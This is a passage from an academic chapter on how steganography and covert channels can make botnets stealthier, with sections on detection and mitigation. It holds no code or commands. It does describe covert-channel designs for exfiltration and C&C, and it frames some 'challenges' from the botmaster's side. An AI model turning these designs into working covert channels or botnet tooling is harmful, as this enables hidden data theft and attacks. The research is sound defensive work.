experts. While in the past many botnets relied on very simple information hiding
techniques, e.g., C&C data is hidden in HTTP, IRC, or DNS communications
[3], modern threats are empowered by a new wave of information-hiding-based
C&C protocols mimicking innocuous traffic [11] or embedding data in signaling
generated by complex software frameworks, such as personal cloud storage
services [12]. Even if it is hard to locate the starting point of this trend, one of
the first notable examples is Zeus, which injected code in the svchost.exe process
and initiated a communication channel with the C&C server to update and
configure itself [13]. As a consequence, the trend in the development of informa-
tion-hiding-capable botnets may culminate in future threats based upon overlay
networks exploiting steganographic methods to implement the communication
layer, thus transforming them into a sort of stego-botnet [14]. Besides, the
availability of new paradigms for the creation of malicious software, e.g., the
Crime-as-a-Service (CaaS) model, enables the average developer to exploit sophis-
ticated hiding techniques. For instance, the Tox ransomware contains
a construction kit with routines for spreading and coordinating the infection in
return for 20% of every ransom paid [5].

In this perspective, investigating the most advanced mechanisms exploiting
information hiding is mandatory to understand modern and future botnets, as
well as to develop proper detection techniques and countermeasures.

Therefore, this chapter discusses how information hiding and steganography
techniques can be used to make botnets stealthier and more dangerous. Emphasis
will be on techniques that can be used within a single node to implement a local
covert channel allowing the attacker to exfiltrate data or to assimilate the device
into the botnet. This scenario would have a major impact in the near future, as
the large number of IoT devices will be an attractive target for attackers in the
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aim of creating worldwide botnets [15]. Besides, another relevant part of the
chapter deals with state-of-the-art techniques and novel approaches to make
C&C channels stealthier, for instance, by optimizing the network traffic or
exploiting novel IoT standards. Also, in this case, real-world malware [3] and
future IoT botnets are expected to implement network steganography techniques,
see, e.g., [16], for an example of encrypted C&C communication channel
exploiting iptables. The chapter also provides a review of archetypal frameworks
merging steganographic methodologies and botnets as well as a brief discussion of
novel and cutting-edge detection techniques.

The contributions of this chapter are: (i) the analysis of the most important
covert channels to empower future botnets both in terms of ability of bypassing
sandboxes and covertly exfiltrating data; (ii) the introduction of novel detection
schemes and network architectures to mitigate the impact of botnets; (iii) the
discussion of research and design challenges to reduce the necessary information
to maintain a botnet.

The rest of the chapter is structured as follows. Section 4.2 introduces information
hiding aspects useful to engineer modern botnets. Section 4.3 deals with covert
channels acting within the single host, which are mainly used to bypass local security
perimeters. Section 4.4 presents stealthy channels allowing the botnet to commu-
nicate and exfiltrate information through the network, as well as possible detection
methods. Section 4.5 showcases novel paradigms including the challenges to be faced
to minimize the footprint of the botnet as to increase its stealthiness. Lastly, Section
4.6 concludes the chapter.

4.2 Information Hiding in a Nutshell
Even if the reference literature is not always unanimous, there is a common
agreement to use the term information hiding to identify concealment techniques
for embedding a secret message within a suitable carrier [17–19]. The final aim of
this process is to hide the existence of a conversation to a third-party observer.
The resulting hidden communication path is called a covert channel. As hinted,
covert channels can be used to prevent the detection and neutralization of botnets
by firewalls, anomaly detection tools, code analysis frameworks, run-time moni-
tors, and antivirus [20].

Historically, the terms steganography and covert channel were used to describe two
separate information hiding subareas: steganography was related to the data hiding in
digital media carriers, whereas covert channels denoted threats that allow to transfer
data using channels not intended for moving information. With the evolution of
communication networks such terms started to blur and currently terms like network
steganography and network covert channels are used to describe secret data exchange in
communication networks. Even if such terminology is still under debate [17,19], in
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this chapter we consider that information hiding is used to create a covert channel
that does not exist in the targeted system without the data hiding technique. In other
words, only the theoretical possibility to have the channel exists a priori.

Typically, the performances of an exchange of information via covert channels are
ruled by a magic triangle relation, stating that the bandwidth (i.e., the amount of
hidden information sent per time unit), the robustness (i.e., the number of errors or
interferences the secret information can resist), and the undetectability (i.e., the
inability of detecting the secret data) cannot be increased simultaneously [4].

Indeed, modern botnets can leverage different information hiding techniques. In
fact, hosts and appliances deployed in the wild have different network interfaces (e.g.,
cellular connectivity, IEEE 802.11, IEEE 802.15.4, Bluetooth, and even personal
satellite links [21]), sensors (thermal, humidity, accelerometers, camera and micro-
phone), and a relevant amount of computing and storage resources, both locally or
remotely through a commodity-based model. Therefore, zombified nodes can exploit
a variety of steganography techniques or information hiding frameworks. In this vein,
three different types of covert channels can be of interest for a botnet, specifically:

■ Local or inter-process: the covert channel has its scope limited to the single
host, system on a chip, device, or IoT node. The typical creation pattern
relies upon the modulation of the status of the hardware/software resources
available on the infected node. As it will be detailed later on, local covert
channels are the prime tool to scardinate local security policies, thus
malware developers and botmaster are expected to take advantage of them
in the near future.

■ Network: the covert channel lays in the network traffic. The sender injects
information in protocol data units or alters some features of the traffic, e.g.,
it encodes information by modulating the inter-packet statistics. The typical
use case of covert channels having a network-wide scope is to exfiltrate data
toward a remote facility or to implement a control path for C&C purposes.
In this vein, the botmaster can leverage such techniques to increase the
stealthiness of the botnet, reduce the network footprint of the signaling
needed to maintain the net, avoid that zombified hosts or devices are
recognized through anomalous traffic patterns, traverse perimetric network
security tools like firewalls as well as morph illicit traffic in innocuous DNS
queries or HTTP conversations. For the sake of brevity, this chapter does
not investigate network steganography at large, see, instead [3] and [4].

■ Air-gapped: the covert channel exists between two physically isolated nodes. In
this case, the sender tries to alter the physical properties of the hosting device to
have a carrier able to propagate through the space. Possible air-gapped covert
channels can exploit (see [22], and references therein): ultrasonic sounds
emitted by the sender via loudspeakers and captured with the built-in micro-
phone of the receiver; thermal variations of CPU or GPU of the sender as to
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influence the temperature of the receiving host; alteration of the ambient light
to trigger latent malware resident in infected nodes; and manipulation of the
mechanical storage units as to emit peculiar noise patterns to be captured by the
receiving side. To the aim of developing a botnet, the botmaster can leverage
such techniques to activate zombies, exfiltrate data in smart-* environments,
e.g., smart buildings, as well as transform unconnected devices into a sort of
“virtual” access network toward infected nodes equipped with network con-
nectivity. However, many of these air-gapped covert channels rely on closely
located nodes. Therefore, bringing larger botnets online requires other means
of inter-connection.

Lastly, we underline that all the aforementioned channels can use two kinds of
hiding methodologies, which are quite independent of the carrier. The first
exploits the temporal dimension, thus the secret is encoded within a value of the
time gap between two adjacent events, or how a phenomenon evolves in time.
Instead, the second methodology uses the quantitative dimension, hence the
secret is encoded in the values of a variable, i.e., the magnitude of the event [18].

4.3 Covert Channels in a Single Host
In general, covert channels exchanging data within the single host are at the basis of the
colluding applications threat, which represents a class of attacks able to bypass the
security policies deployed in the underlying software and hardware layers or in
the hosting OS [23]. The first malware based on such techniques is Soundcomber,
which builds a covert channel between two separate processes to void restriction
imposed by the security layer of Android OS [24]. Nowadays, this type of attack is
becoming popular and allows to implement a sort of abusive inter-process commu-
nication service between many software artifacts. For instance, colluding applications
can be virtual machines (VMs), containerized applications, or execution environ-
ments, as well as regular applications and processes, just to mention the most
important. For the aim of developing modern botnets, the colluding applications
threat is relevant to orchestrate nodes composing the botnet, to allow the botmaster
to collect stolen data in a stealthy manner, or to elude detection tools monitoring the
execution behavior of the software.

Figure 4.1 depicts the reference scenario for the colluding applications techni-
que. As a paradigmatic example, let us consider two applications wanting to
collaborate to exfiltrate data outside the hosting node, e.g., an IoT device or
a network appliance. Let us also consider that one application can access sensible
information, thus the OS prevents the access to the network layer, for instance,
by enforcing suitable sandboxing disciplines. However, the other application has
no access to data but it can access the network layer. The two applications can
collude by using some form of information hiding with the aim of leaking the
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stolen data toward the application with network privileges. To this aim, they
build a local covert channel that exploits a suitable carrier where to inject the
secret data. Possible carriers are the various software or hardware artifacts made
available through the layered architecture. As shown in Figure 4.1, applications
can perform I/O operations, invoke an application programming interface (API)
and syscalls, or exchange data through OS-wide IPC services. A typical example
on how they can be abused is as follows. One application could encode the value
1 by repeatedly allocating memory through well-defined patterns of malloc() calls.
The other application can infer such information by periodically polling the
status of the overall available memory, e.g., via the /proc/ file-system or top. On
the contrary, the value 0 can be encoded by releasing memory via free().
Unfortunately, this mechanism is very fragile, since the OS and other processes
can alter the state of the memory, thus adding noise to the covert channel or
totally disrupt the steganographic communication.

The colluding applications scheme offers a methodology general enough to be
used in different scenarios. For the case of implementing modern botnets
(including future attacks), it can be applied to different components each one
characterized by a level of complexity and granularity, specifically:

■ per-process: two processes want to communicate to bypass local security
policies enforced by a sandbox. Typically, this happens in mobile or limited

Figure 4.1 Reference scenario for the colluding applications threat. Different
software entities communicate to bypass the limitation imposed by the hosting
execution environment.
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capabilities devices like smartphones, IoT nodes and sensors. Botnet devel-
opers can exploit this technique to instruct a large population of tiny nodes
for mass user profiling, or to orchestrate attacks against a specific portion of
a network or a cyber-physical system.

■ per-container: the colluding entities are two containerized applications (or
reduced execution environments) trying to communicate via a container man-
ager (e.g., Docker). The resulting botnet can be suitable for exfiltrating data or
to organize attacks targeting the physical security of the victim. For instance,
containerized applications can coordinate synergistics attacks toward datacen-
ters to create energy outages [25] or be deployed for cycle stealing purposes.

■ per-VM: the colluding applications are isolated within two full-featured VMs
wanting to leak data through the hypervisor. In this case, the colluding
applications scheme can be used to orchestrate virtualized botnets, or to
deploy malware in fog or cloud nodes. Additionally, malicious code imple-
menting the botnet or some form of “supernodes” can be nested in portions of
the OS running within the VM (see, e.g., peer-to-peer botnets like Sality,
ZeroAccess, and Kelihos [15]).

4.3.1 Covert Channels and Colluding Applications

As hinted, the carriers available for setting up a covert channel highly depend on the
nature of the colluding applications. Therefore, we review the most popular methodol-
ogies and we group them according to the colluding entities. Such an investigation is of
paramount importance as it allows to: (i) identify additional vulnerabilities that can be
used to implement nodes of a botnet; (ii) recognize ambiguities in software compo-
nents (e.g., system services and third-party libraries) that can be exploited for stegano-
graphic purposes; and (iii) develop proper countermeasures or hardening strategies to
prevent botnets to covertly zombify nodes or propagate through the network.

4.3.1.1 Colluding Processes

In this case, two processes collude as depicted in Figure 4.1. According to the
literature and threats observed in the wild, this attack is mostly used in mobile
devices, especially in Android-based implementations [4]. Therefore, we present
approaches mainly targeting such platform as discussed in [8,23,24,26,27].

Usually, the most adopted carrier to implement a covert channel is a software
artifact, e.g., a lock granting access to a resource or the enumeration of some
properties that can be manipulated by the process wanting to send data. In more
detail:

Vibration or volume settings: one process alters the status of the vibration or
the volume of the ringtone and the other infers secret data bits from this event.
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To increase the throughput of secret information, the sender could alter multiple
settings at the same time, for instance, the volume of the ringtone for messages
and for calls.

Intent: in the Android OS ecosystem, an Intent is a message object that can be
used to request an action to other components. To the aim of exchanging secret
information, two basic techniques using Intents exist. The first encodes secret bits
by using OS-wide notifications automatically delivered to interested processes
when a subscribed variable is modified. Then, alterations of variables produce
proper patterns of Intents encoding the secret. The second is based on the type of
the Intent. In this case, secrets are transferred by encoding the information in
a well-given Intent, i.e., the secret is encoded in the “nature” of the event, rather
than in its value.

Enumeration or alteration of a property: the covert channel is created via the
manipulation of a software artifact causing a change in a system-wide property.
For instance, an application can encode data into the number of active threads or
in the state of sockets. The receiver will infer information by accessing the /proc/
directory or by using a proper system call. Another possible technique is the
encoding of information by modulating free space of the storage unit or by
producing suitable loads of instructions (e.g., for loops) to alter the usage statistics
of the CPU. We point out that such methods are very fragile as the OS and other
processes compete for the aforementioned resources, hence disrupting the
encoded secrets.

Locking: in this case, locking (or competing for) a resource encodes the secret
bit to be exchanged. Typical resources are the screen or files. The former works
by acquiring and releasing the wake-lock permission that controls the screen state
to encode a binary digit. The latter acts similarly but the encoding is done via
competing for the exclusive access to a file. Multiple files can be locked/unlocked
simultaneously to have a more sophisticated encoding scheme increasing the
bandwidth of the channel.

Mixed: previous methods can be mixed to improve the throughput of the
covert channel or to produce more stealthier encoding schemes. For instance,
secret bits can be transferred by encoding them into the time for which the
sender application stays active after the screen is switched off. Another possible
option is to use the intensity of the screen backlight as a way to have a more
spacious carrier where to inject information. The approach of mixing different
mechanisms can be also adopted with techniques not covered in this chapter or to
compose different covert channels to make the botnet stealthier on an end-to-end
basis, e.g., exfiltrated data obtained via a colluding applications attack can be
routed toward a remote C&C via a network covert channel.

The use of hardware resources is a less popular approach as it usually requires
a thorough understanding of the target platform. For the sake of completeness,
we report a technique dealing with the creation of a covert channel by exploiting
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the vibration functionality ubiquitously available in mobile devices. Specifically,
the sender application encodes data in vibration stimuli, while the receiving
application decodes data by using the accelerometers to sense movements.
Obviously, this leads to a human-observable channel, but it could be used jointly
with low-attention raising techniques, e.g., the channel is activated when the user
is assumed away from the device.

4.3.1.2 Colluding Containers

Applications cannot be natively run on a device or on an appliance but could be
containerized. This is not uncommon when managing a huge population of
nodes or when the application or the execution environments have to be deployed
on a vast user base while ensuring scalability properties. As a consequence, future
botnets will surely try to attack containerized entities, especially to orchestrate
energy-draining attacks [25], DDoS, massive profiling campaigns, leakage of
sensitive information, and mining of crypto-currencies. Nevertheless, computing
platforms supporting IoT technologies appear to be a perfect playground for
containerized services. Hence, future botnets are expected to target not only
standard computing devices (e.g., servers) but also fog and edge nodes. In this
vein, security of container is still not completely understood and information-
hiding-capable botnets can take advantage of this.

From a conceptual point of view, covert channels that can be set between
containers are similar to those presented in Section 4.3.1.1. In fact, the sharing of
common software and hardware resources can be exploited to have suitable
carriers where to inject secrets. This behavior can be exacerbated by the sharing
of portions of the underlying OS, such as the kernel.

Concerning techniques especially designed for containers, the work in [28]
proposes some preliminary methodologies. Many leakages of information among
containers are due to an incomplete implementation of namespaces (i.e., an
isolation mechanism for data and functionalities) in the Linux kernel. This has
some important implications as the majority of commercially available devices
and appliances are based on Linux. Moreover, adversaries may try to move the
malicious instance of a container to the physical node of the victim. Then,
a malware can leak data or communicate with the rest of the botnet by using
a covert channel. For instance, two colluding containers can exchange informa-
tion by modulating the amount of user memory, which impacts on the global
memory shared by all the processes and containers of the host. A similar
implementation can exploit the modulation of the free space of the filesystem or
the manipulation of inodes via the proper creation of files. Information leakage
can be also used to allow a container to “inspect” the hosting machine. For
instance, containers can collaborate (in the sense that they are not colluding to
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directly communicate) to understand if they are running on the same physical
host. This information can be exfiltrated to map an infrastructure helping the
botmaster to design and direct the attack. Containers can also coordinate through
covert channels for using the botnet for DDoS purposes, e.g., to create peak of
energy requests or to swamp the storage by filling the kernel message buffer with
rogue entries [25].

4.3.1.3 Colluding VMs

The two colluding entities could be also full-featured VMs. This scenario partially
overlaps with co-residence threats where the attacker tries to gain control of a VM
located on the same physical host of the VM of the victim. Then, VMs can
implement the colluding applications scheme also by using many of the previously
described attack templates and covert channels (see, e.g., [25], and references
therein).

Other possible attacks, which can be used by a botnet to exfiltrate critical data
(e.g., encryption keys) exploit internals of hypervisors. Such attacks usually target
full-featured hosts or computing units able to run several VMs. Specifically, the
seminal work of [29] demonstrates the use of sophisticated manipulations of the
cache to create a side channel. Besides, VMs can also collude in a multi-tenant
scenario, thus allowing the colluding applications model to be effective also in
a distributed manner [30], as it is required by a botnet.

A well-studied idea used for developing a variety of covert channels suitable to
implement communications between two VMs exploits cache timing. The attacker
can infer information by observing different behaviors. For instance, he or she can
observe the overall timing profile of a full execution of a specific routine (e.g., the
encryption of a content) [31]. The timing can be compared with suitable templates
to identify the processed data or the performed operations. Another technique deals
with timing channels, i.e., the secret is encoded in time-based schemes. In this case,
a powerful method uses bus locking mechanisms allowing to use the memory bus as
the carrier for the secrets [32]. Such paradigms, with some adaptations, can be also
applied to other virtualization schemes, for instance, containers.

To sum up, virtualization can be eluded via malicious software to steal data or
to physically locate the VM. Future botnets could be able to bypass advanced
countermeasures like virtual, containerized, or native honeypots or void counter-
measures built in cloud and fog nodes. Apart from being able to detect such
threats, a critical aspect deals with the prevention and the development of
countermeasures already from the hardware level or in the lower layers of the
virtualization software. For instance, enforcing proper scheduling disciplines
could bring to a sort of “soft isolation” [33] limiting the impact of modern,
virtualized botnets as well as the aforementioned CaaS frameworks.
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4.3.2 Detection Schemes

Recalling that each covert channel exploits a particular carrier and has its own
implementation, it turns out that detecting an information-hiding-capable threat
is a complex and scarcely generalizable task. For instance, for the case of botnets
using network traffic to exfiltrate data toward a C&C or to orchestrate zombie
nodes, there is the need of inspecting different traffic features to find some
statistical signatures. However, an emerging approach deals with network-level
pattern-based countermeasures facilitating the development of mitigation techni-
ques and detection rules [34]. A more classical approach concerns the “normal-
ization” of network flows to restore a standardized behavior, e.g., to enforce the
characteristics of the jitter and of the throughput (see, e.g., [4], and references
therein). Unfortunately, such approaches are characterized by a lack of scalability
and penalizes all the traffic flows without making any difference. Mitigation of
covert channels over networks will be discussed in Section 4.4.3. In the rest of
this section, we rather concentrate on detection schemes that can be used to
reveal the presence of colluding applications.

To this aim, a recent approach deals with the use of more general indicators
allowing to decouple the detection phase from the nature of the carrier or specific
implementation details. This is a very convenient paradigm to be adopted against
future botnets, as they are expected to infect nodes with a mixed set of
functionalities (e.g., sensors, accelerometers, and cameras) and a huge variety of
resources (e.g., full-featured hosts or single chip computers). To make an
example, a possible indicator could be the energy drained by the device [7]: in
case of an attack, excessive drains can reveal the presence of malicious code
running without being noticed.

We mention two emerging detection schemes that can be used to counteract
future botnets taking advantage of the colluding applications scheme. Even if they
have been widely tested in mobile devices for Android-based malware, the basic
idea is general enough to be ported to several environments, including containers
and VMs. These are discussed in more detail as follows.

Activity Correlation: originally presented in [27], it exploits the fact that the
pair of colluding entities should be active at nearly the same time. As previously
discussed, processes, containers, and VMs wanting to communicate perform
a sort of “spin lock” where the sender alters a system-wide property and the
receiver infers the information upon its inspection. Obviously, this cycle should
not be too loose, as other processes or the OS could disrupt the channel with
their evolutions. Hence, a method-agnostic indicator exploits the correlation of
the activity of different pair of processes, which quantifies how much of their
running statistics overlap. This can be extended to the case of virtualized
environments, for instance, upon considering the load average of the different
entities (e.g., VMs) or the temporal utilization of resources for each containerized
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application. The limits of the approach are: it performs better when in the
presence of low-attention attacks [8] since the user activity is limited, and two
legitimate processes aggressively interacting (e.g., a system daemon and the served
application) may result into many false positives.

Energy Modeling: first presented in [35], it exploits the fact that the presence
of malicious code (e.g., routines for allowing a node to coordinate with the rest of
the botnet) requires additional operations, which have a non-negligible impact in
terms of energy consumptions. However, building an energy-based indicator
requires the solution of two different problems. The first is the creation of
a model (which can be approximate) of the power consumption of a process or
of the virtualized entity. This is not trivial as it requires many measurements in
different configurations, for instance, an energetic snapshot of the clean system
and the additional power drain when the attack is ongoing or the botnet is active.
The second task concerns on how to use the obtained energy template to
recognize whether two software components are colluding to bypass a secure
perimeter, to exfiltrate data or to initiate an escalation to cause power outages
[25]. Then, the detection is performed by using some form of artificial intelli-
gence or statistical tools able to detect the deviation of the consumption from
a well-defined behavior [20,36]. Unfortunately, this requires to measure the
consumed energy, for instance, by using proper tools feeding power models with
parameters like the CPU time, or to modify device drivers to directly handle data
from the hardware controlling the battery [37].

4.4 Covert Channels over Networks
The concept of reinforcing botnets with information hiding capabilities has been first
proposed back in 2008. Concerning the use of network covert channels that can be
used to let bots communicate [38], focuses on various aspects characterizing an
information hiding-capable botnet, including how different data hiding and network
steganography tools can be used to make a botnet more dangerous. Besides, the work
in [39] concentrates on how to use text steganography to create a covert channel for
C&C purposes. Therefore, previous works can be used as a basis to elaborate
a realistic, ad-hoc classification for botnets exploiting data-hiding, which is depicted
in Figure 4.2. As shown, the two main paradigms currently used are based upon
network steganography and digital media steganography.

Before investigating the two classes of hiding mechanisms deployed in the wild,
we discuss the most important past and ongoing research efforts.

The work in [38] proposes the most comprehensive information-hiding-capable
botnet approach, which has been named Trusted Communication Platform for
MultiAgent Systems (TrustMAS). In essence, TrustMAS exploits an overlay to
implement the communication services at the basis of a steganography-based botnet,
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e.g., the exchange of data with the botmaster, the implementation of routing strategies,
and peer discovery mechanisms, just to mention the most important ones. To avoid
detection, TrustMAS implements different hiding strategies at the network level. In
more detail, nodes of the overlay are equipped with different data hiding capabilities
and can communicate via a covert channel. Moreover, TrustMAS introduces techni-
ques to provide a sort of anonymization, which is crucial in the perspective of providing
a botnet with anti-forensics capabilities. Hence, the route between two endpoints is
built by using a random walk algorithm (i.e., the covert sender decides whether to
transmit the secret message to the proper destination or to perform a forward to
another peer by using a probabilistic approach). Even if this framework revealed to be
a convenient way to implement an overlay network to support a botnet, the use of
random-based algorithms may lead to high delays and jitter as well as out-of-order
information that has to be properly rearranged. Therefore, botnets wanting to use
random-based overlays, possibly without compromising scalability, should use more
sophisticated control protocols, see, e.g. [14], for an optimized link-state routing
algorithm specifically suited for data hiding-based botnets.

Besides, the work in [39] investigates how to implement the C&C channel of
the botnet by using spam emails. In fact, emails can be sent from multiple
addresses and from different remote servers, thus the botmaster can frequently
change the point(s) of coordination to elude detection tools deployed by law
enforcement agencies. To have a fully operational C&C channel, authors imple-
ment a pseudo protocol by using ad-hoc crafted messages containing data hidden
via text steganography. The stealthiness of the approach is assured by the relevant
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Botnet Architectures 
based on Information 
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Figure 4.2 Classification of botnet architectures relying on information hiding
techniques.
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computational effort needed to parse and analyze each single email composing the
load of spam. Despite the possibility that emails can appear as anachronistic, the
use of text-based messages can be updated and ported on the more popular social
media sites and online social networks. For instance, Twitter accounts can be
used as C&C channels to impart commands or orchestrate attacks [3].

4.4.1 Network Steganography

Nowadays, an increasing number of botnets exploits some form of information
hiding to conceal communications in order to remain unspotted for a long period
of time. For instance, malware like Feederbot, Morto, or plugX have demon-
strated their ability to bring information hiding on the wild [3]. We now trace
the evolution of this trend as to give a proper understanding of the core
techniques developed by academics and observed in real-world scenarios.

In 2011, a malware sample has been isolated and reverse engineered [40].
Named Feederbot, it turned out that it was part of a botnet using information
hiding techniques to implement the C&C. In more detail, Feederbot uses DNS
tunneling to transmit secret data by abusing the resource record fields of a DNS
message, which is used as the carrier. In [40], authors also discuss a detection
scheme based on k-means clustering and a classifier based on the Euclidean
distance to distinguish malicious DNS messages containing secrets from the
clean, legitimate ones.

A couple of years later, the work in [41] further extended the prototypal idea
of using DNS tunneling as a way to hide the traffic of a botnet. Specifically, it
describes and analyzes several techniques to effectively hide malicious DNS
activities within the bulk of traffic exchanged in the Internet. To this aim, the
work distinguishes two types of communication modes. The first, named code-
word, allows unidirectional communications between the botmaster and
a network node, e.g., for sending commands or coordinate attacks. The second,
named tunneled, enables the transmission of arbitrary data between the botmaster
and a network node through a bidirectional path. Also, in this case, a possible
countermeasure deals with statistical analysis, whereas a more effective one
exploits deep packet inspection, but it is not scalable. Another work dealing
with DNS is [42], where authors present a botnet framework to conduct DNS
amplification and TCP flooding attacks. Moreover, authors provide an imple-
mentation of a C&C channel hidden within DNS traffic, i.e., the botmaster
controls the authoritative server and delivers commands via Resource Record
fields. A similar approach is presented in [43], but in this case, authors
demonstrate how to use Tor to further obfuscate the presence of the botnet.

More recently, the work in [44] proposes to inject information in protocol data
units of the Session Description Protocol (SDP), which is a core component of
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the Session Initiation Protocol (SIP) suite, e.g., it is used to exchange information
on the codec to be used for the multimedia stream. Put briefly, the method
encodes secret data in SDP descriptors. As a result, the altered protocol messages
are still compliant with the SIP/SDP standards, thus they do not raise any
suspicions and the hidden conversation requires deep packet inspection to be
spotted. Another technique exploiting voice communications is presented in [45],
where authors show how to generated fake silence packets containing hidden data
in VoIP conversations optimizing the bandwidth via Voice Activity Detection
schemes.

Lastly, a complete different approach has been presented in [46], where the
BitTorrent tracker protocol was used to implement a hidden transport service for
the botnet. More specifically, it proposes to embed secret data into the peer id
field during the transmission of announce requests sent by the client. Another
possible carrier exploits the IP address field of the BitTorrent tracker protocol. In
essence, it utilizes the feature of the BitTorrent protocol allowing clients to
specify other network sources where to contact the tracker, i.e., it permits to
deploy proxy servers or to bypass NAT gateways. As a consequence, this field can
be used to create a network covert channel able to embed 4 bytes per each
announce request sent.

4.4.2 Digital Media Steganography
As said, digital media steganography is one of the earlier forms of information
hiding used by malware and still constitutes an important tool to develop
malicious software and botnets.

Concerning the creation of a C&C path for a botnet, the work in [47] offers
a systematic review of social network-based covert channels used in botnets. Even
if partially outdated (the study dates back to 2010), it still offers interesting
insights, especially in the perspective of developing countermeasures to be placed
in different functional layers, i.e., host, application, and network. A more updated
discussion about the features of an online social network that can be abused to
implement a botnet is available in [48]. Specifically, the proposed approach is
based upon the generation of plausible Twitter posts. Then, the modulation of
the length of each tweet is used to encode secret information to instruct zombie
nodes. Instead, in [49], authors focused on the use of Facebook. The proposed
idea, named Stegobot, implements a distributed C&C communication channel,
which embeds the secret data in digital images uploaded to the social network by
infected users. Stegobot allows to create two types of botnet messages: commands
utilized to send instructions from the botmaster to the nodes of the botnet and
cargo entities embedding confidential data to be exfiltrated from the victims
toward the botmaster.
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Another relevant application domain where digital media steganography has
been used is mobile, peer-to-peer scenarios. For instance, the work in [50] shows
how to use SMS messages to coordinate nodes composing a botnet. The bot-
master assigns at each infected phone a unique passcode. Then, if the infected
node receives an SMS containing the passcode, it will decode the message as
a C&C command. To prevent users to spot the carriers, malicious messages are
intentionally created to look like spam communications. A similar concept has
been proposed in [51]: in this case, the secret information is exchanged through
the instant messaging services made available by many online services and social
media sites (see, e.g., [52], for a variant using unicode-based steganography).

4.4.3 Detection and Mitigation Techniques
As previously discussed for the case of colluding applications, also when in the
presence of information hiding methods, there are not any universal solutions to
block or limit the covert data exchanged by a botnet. Therefore, we present
a selection of approaches that demonstrated to be effective against a very specific
class of threats. Each idea presented can then be used as a basic building block to
elaborate more sophisticated and ad-hoc strategies.

The first mechanism is dated back to 2009, and it has been created to detect
the C&C of a botnet by means of a measure of regularity of the behavior of
a connection defined as persistence [53]. The persistence can be used to create
a whitelist of “good” destinations and isolate suspected hosts, e.g., zombie nodes
generating malicious traffic. The importance of the approach is not in the
proposed metric per se, rather it is the use of a sort of black-box modeling of
infected nodes preventing to understand internals and implementation details of
the botnet. Moreover, traffic flows suspected of containing covert channels or
being produced by infected hosts can be processed through middleboxes perform-
ing traffic normalization [4]. In this case, protocol ambiguities, such as unused
header fields, are overwritten with random data, and statistics of the flows, e.g.,
throughput and jitter, are aligned to a template. As a result, the number of
exploitable carriers is reduced and some covert channels are disrupted. Unfortu-
nately, this approach exhibits scalability issues and penalize also legitimate, clean
traffic, which could also have some real-time constraints.

For the case of botnets taking advantage of digital media shared over online
social networks (e.g., as in the case of Stegobot), the work in [54] presents
a method based on the entropy of the image files supposed to containing secrets.
A more sophisticated approach is presented in [55], where nodes of the botnet are
detected by inspecting the profile in its entirety.

As discussed in [56], a very recent approach enlightens the importance of
deploying adaptive countermeasures, mainly by using a moving target strategy to
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better counteract the malware. In fact, cyberattacks and deployment of a botnet
are usually preceded by a reconnaissance phase, which is used to collect informa-
tion about the target. The latter is typically static (e.g., network configurations do
not changes), thus giving the attacker a tremendous advantage. Therefore,
a possible approach could exploit a mix of traffic, timing and behavioral
information to isolate the bot and periodically change the position of probes as
to make how and where the detection of the botnet happens unpredictable.
A similar idea is also presented in [57], where authors also consider a peer-to-peer
botnet able to know in advance deployed countermeasures. In this case, the
detection technique can adapt by exploiting the mutual communications among
bots and statistical tools (e.g., unsupervised approaches).

4.5 Challenges and Optimization of Future Botnets
In general, botnets are large-scale deployments potentially infecting millions of
nodes. Besides, zombies can be also limited-capacity devices, hence the related
communication channels can be very narrowband or intermittent. Therefore,
important aspects to effectively endow botnets with information hiding techni-
ques require to face many technical and design problems and perform proper
optimizations. Specifically, the most important research and engineering chal-
lenges that can be envisaged according to the literature presented in this chapter
are mentioned as follows.

Minimizing Traffic Volume: this aspect aims at reducing the amount of traffic
that is necessary to operate a botnet. A possible approach exploits a suitable protocol
engineering process to equip the botnet with a C&C not requiring unnecessary
transfers of meta-data. For instance, this has been done for covert channels by
minimizing overhead, maximizing throughput, maximizing stealthiness, or optimiz-
ing control protocol design [14,58]. Another way is to apply data hiding methods to
compressed archives, as recently described in [59], or to directly apply a compressor
to a C&C protocol. A novel approach that is related to protocol engineering
exploits triggered events, as depicted in Figure 4.3. In more detail, future C&C
protocols with triggered updates will not transfer own traffic between the botmaster
and nodes of the botnet and vice versa. The idea behind triggered updates is to link
the operative logic of the botnet to botnet-external network events, so that they can
be used as triggers. The more deterministic such events, the more accurate the
timing of the bot actions. For instance, if a DDoS is scheduled to take place,
recurring network events can be counted (or waited for) to trigger the attack.
Possible event types are ARP requests and replies (for instance, if the attack has
a scope limited to the local network) or known traffic patterns (e.g., a company-
wide backup triggered at given hours in the nighttime) as well as interactions with
remote networks, for instance, counting constant IMAP inbox updates of legitimate
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users. In general, triggers are very challenging to trace for forensic analysis without
inspecting the executable of the malware as there is no network traffic available that
has an obvious relation to the logic of the botnet. For botnet designers, finding and
optimizing C&C protocols and the related operative logic over the current state is
therefore considered a future challenge. Another relevant challenge is to determine
the most suitable (possibly reliable and network-wide) events and link multiple
local-network events in a complex logic to synchronize a globally operating botnet
infrastructure.

Utilizing Novel IoT Standards: current malware aims at exploiting web inter-
faces or other traditional weaknesses of IoT products for the establishment of botnets.

A challenge for malware authors could be to focus on novel protocols, e.g.,
Message Queuing Telemetry Transport or Constrained Application Protocol, to
exploit IoT products, while keeping the data transfer hidden in these protocols in the
post-exploitation phase. This would allow to construct novel botnets that exploit the
physical capabilities of IoT devices. This approach was first envisaged for the area of
smart buildings in 2014 [60]. For instance, future IoT botnets would allow scenarios
such as mass surveillance or attacks on the digital infrastructure, e.g., directed bot
attacks that increase the consumption of oil or gas as well as attacks that target traffic
light systems. For the sake of completeness, a discussion on IoT steganography is
available in [61].

Bridging Improved Isolation: while several mechanisms for hidden data
exchange were already discussed, also under the umbrella of the colluding applica-
tions scenario, their exploitation will become more challenging when isolation and

Figure 4.3 Example of information hiding for botnets via triggered events. In this
case, botnets could exploit network-level events to trigger actions.
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other protection approaches improve, be it on the side of VMs, containers, or
operating system kernels. For this reason, malware developers will face the challenge
of finding new techniques to build local covert channels, e.g., by exploiting
previously unused capabilities of OS kernels or hardware components, maybe in
chains. For network covert channels, the sheer number of available hiding techniques
is currently not linked to a similar challenge. However, also for network covert
channels, malware developers need to find novel approaches for metamorphism on
the long run to bypass improved filter technology.

Facing Faster Countermeasures: nowadays, the Internet comprises countless
outdated and unpatched IoT components that are easy targets for bots. However,
if the industry and the research community will come up with better solutions to
patch or remove such systems from the Internet, e.g., using patchable hardware, it
could become more difficult for botmasters to create botnets that comprise
hundreds of thousands of devices. Therefore, another challenge would be to
create bot software that can be deployed in a more resilient and stealthy manner
and that also remains stealthy for a longer period of time.

4.6 Conclusion
